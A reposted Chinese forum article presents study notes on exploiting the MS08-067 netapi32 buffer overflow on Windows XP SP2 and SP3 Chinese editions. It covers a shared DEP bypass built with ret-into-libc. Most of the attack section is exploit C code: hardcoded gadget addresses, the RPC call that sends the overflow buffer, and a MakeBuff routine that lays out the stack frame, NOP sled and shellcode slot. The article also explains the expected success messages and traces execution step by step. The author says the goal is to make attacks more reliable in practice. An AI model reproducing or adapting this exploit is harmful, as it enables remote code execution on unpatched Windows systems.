MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习

转载

JL2SH 于 2011-03-16 20:30:00 发布 1003 收藏
文章标签： windows xp microsoft 制造 null 防火墙
来自于看雪学院

标 题: 【原创】MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
作 者: parachaos
时 间: 2009-02-09,12:32
链 接: http://bbs.pediy.com/showthread.php?t=81667

【题目】一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的能够bypass DEP的利用MS08-067漏洞缓冲区溢出的栈帧构造方法的学习
【作者】ParaChAos

【前言】由于该漏洞利用的一些关键地址在windows xp的每个版本中都会变动，为了提高漏洞攻击程序的通用性和溢出的成功率，在这里讨论了一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的栈帧的构造。

我的系统环境如下：
Windows xp sp2 chs netapi32.dll 2600.2976
Windows xp sp3 chs netapi32.dll 2600.5512

本文假定你已经掌握了缓冲区溢出的基础知识，以及MS08-067的利用方法，并不做系统性的介绍，只总结该漏洞利用的关键片段。

【目录】
本文有以下内容：
1.bypass dep方法介绍
2.关键溢出代码(改自emm的代码)
3.关键栈帧的制造
4.代码在被溢出方的执行流程

【内容】
1.bypass dep方法介绍
本文主要是针对下面这篇帖子的学习与总结。虽然不知作者是谁，但还是要表示感谢。
引用自华夏黑客联盟的一篇帖子：
“通过ret-into-libc方法编写通用exp的一个小技巧
ms07029 和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护，首先来科普下什么是ret-into- libc，一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode，但是开启了数据执行保护的话，这种方法就不行了，那么我们只能控制eip往可以执行的地方跳，我们只能在可执 行的地方找到符合我们要求的指令，来帮我们干活，干完活后我们还需要收回控制权，那么在干活指令后必须有一个ret(n)，这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活，理论上，通过构造stack frame也能完成shellcode的功能。但是这只是理论上说，谁也不会傻到整个shellcode通过stack frame跳来跳去来实现，一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP，然后ret(n)回去用普通的 办法执行shellcode。 科普完来到正题，以ms08067为例子，XP上可以通过上述方法来关闭DEP，但是SP2 CHS和SP3 CHS的跳转地址不一样，那么如何实现通用呢，仔细想想如果我们能利用ret-to-libc先跳到一个地址，假设这个地址在SP2系统上是pop/pop/pop/.../ret，在SP3系统上是pop/pop/pop/pop/.../ret，只要SP2和SP3上pop的次数不一致导 致ret的时候esp不一致，那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后，我们需要小心的求证，随便一搜发现这样的地址很多，但是符合ms08067的具体情况 不异常的就难找了，尝试了多个地址后，功夫不负有心人，找到了一个符合要求且满足ms08067漏洞的特殊要求的地址，实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用（XP其他语言版本可以用类似方法）”

2.关键溢出代码
代码:

```
.....关键跳转地址，主要用来关DEP

DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute

DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute

DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on
sp3 chs

DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi
```

```
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp

DWORD dwScratchAddr = 0x00020408; //占位但必须是readable address



……改自EMM的代码

     RpcTryExcept

      {

      //NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);

//这个数值学自LittleWallE的分析，感谢他详细的分析

//在栈上制造 L’//’，也即 0x5c0x00

        func23(L"parachaos","/x4c/x00/x10/x20","/x4c/x00/x10/x20",4,0);



      memset(Buff,0,sizeof(Buff));

      BufLen = MakeBuff(Buff,sizeof(Buff));

    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,
(LPVOID)NULL,0,&dwID);

(DWORD)*(DWORD *)Buff3 = 1;



//NetpwPathCanonicalize(arg_0,(unsigned short *)arg1,(unsigned char
*)arg2,arg3,arg4,(long *)Buff3,1);

//send buff

func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);



}

      RpcExcept ( 1 )

      {

          status = RpcExceptionCode();

      if(status == 1726)

      {

      }

      else

      {
```

```
      {

        printf("RpcExceptionCode() = %u/r/n", status );

        return;

      }

      }

      RpcEndExcept

/*

    如果返回信息为：Make SMB Connection error:53或者Make SMB Connection
error:1219，

后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打
印机共享协议 或没有启动Server服务，因此无法进行溢出。



  还有一种情况是返回信息为：

SMB Connect OK!

RpcExceptionCode() = 1722

出现这样的情况，溢出失败，对方可能开启了防火墙。



    那么最后就是成功的提示信息了：

SMB Connect OK!

Send Payload Over!

*/
```

3. 关键栈帧的制造

……

//EMM 估计的跳转地址，但是在我的机器上略有不同，所以进行了微调

代码:

```
#define    JMPPOINT    "B041" //emm做的地址

int MakeBuff(char *Buff, int BufLen)

{

    int len = 0;

    char tmp[5] = {0};

    int i;



//填充
```

```
    for(i = 0; i < BufLen/4; i++)
    {
      memset(tmp,0,4);
      sprintf(tmp,"B%03d",i);
//*
      if(memcmp(tmp,JMPPOINT,4) == 0)
      {
        break;
      }
//*/
      memcpy(Buff + len,tmp,4);
      len += 4;
    }
//写溢出的字符串
memcpy(Buff,L".a//..//..//NN",13*2);


//my adjust
    len -= 6; //微调
    for(i = 0; i < 6; i++)
    {
      memcpy(Buff + len,&dwScratchAddr,4);//&dwRetAddr,4);
      len += 4;
    }
/*
    memcpy(Buff + len,&dwJmpAddr,4);
    len += 4;
*/
//    add jmp addr here
//下面这个顺序基本就是栈中的情况了，低地址在上面
    memcpy(Buff + len,&dwRetAddrAll,4); //通用跳转地址，sp2和sp3的pop数量不同
```

```
    len += 4;

    //is sp3 here

    memcpy(Buff + len,&dwDisableNXSP3,4); //sp3的bypass DEP

    len += 4;

    memcpy(Buff + len, &dwScratchAddr, 4);    ///这里地址要求可读，pop to esi

    len += 4;

    memcpy(Buff + len, &dwJmpAddrSP3, 4);    //JMP ESI

    len += 4;

    memcpy(Buff + len, &dwScratchAddr, 4);    //占位

    len += 4;

    memcpy(Buff + len, &dwDisableNXSP2, 4); //SP2 BYPASS DEP

    len += 4;

    memset(Buff + len, 0x48, 20); //占位

    len += 20;

    memcpy(Buff + len, &dwJmpAddrSP2, 4); //sp2 jmp    esp

    len += 4;


    memset(Buff + len,0x90,0xe);    //nop nop

    len += 0xe;


    memcpy(Buff + len,sc,sizeof(sc) - 1); //shellcode

    len += sizeof(sc) - 1;


    memcpy(Buff + len,"EMM!",4); //author’s name

    len += 4;


    memset(Buff + 0x206 * 2,0,2);    //end

    return len;

}
```

4.代码在被溢出方的执行流程
……
首先来看栈中的快照
低地址在上
刚溢出时：
1） L"//NN"
2） 某个数量的占位符
3） 通用跳转地址
4） Sp3 bypass DEP过程地址
5） Sp2中Pop到esi的数值
6） Sp3中Jmp esi 的地址
7） DWORD占位
8） Sp2 bypass DEP过程地址
9） 20字节占位
10） Sp2 jmp esp
11） 0xe 个的nop
12） Shellcode
13） ……

开始执行：
程序ret到了3)所指的通用跳转地址，程序执行流程如下:
当在sp2 chs中时，其内容等价于pop/pop/pop/pop/ret，其中有一条pop esi，是我们需要注意控制内容的，因为在后面执行zwSetInformationProcess 这个函数时，ESI的内容必须可读，否则会发生异常。
在3）地址的4个pop后，执行ret指令跳转到8）的bypass DEP过程的地址，调用zwSetInformationProcess关闭DEP，然后pop，retn n等指令后，进入10）的地址执行jmp esp，就跳进了11）指向的nop+shellcode中。
/
当在sp3 chs中时，3）的内容等价于ret，转到了4）的过程关闭DEP，随后有pop和ret，进入6）执行，在这里esi的值是固定的，直接指向了shellcode。
/

因为缓冲区溢出的环境要求是很严格的，差一点都不行，在实践中攻击的成功率是很低的，所以在实战中尽力提高漏洞利用程序的健壮性、通用性就显得很必要了。这也正是本文讨论的意义所在。

----------the end----------
以上就是我在学习MS08-067时的一点心得，与大家分享。谬误之处请大家一定指正。

在此要对一些人表示感谢：
感谢failwest在他的书中深入浅出的讲解，帮我快速入门。

感谢LittleWallE的十分详实的分析，特别是他对netapi32.dll内问题函数的逆向分析使我获益良多。
http://blog.csdn.net/LittleWallE/archive/2009/01/14/3772791.aspx

感谢EMM@ph4nt0m.org的源代码，使我对该漏洞利用有了形象的理解。

最后感谢那篇帖子，使我掌握了关DEP的方法和通用shellcode的编写思路。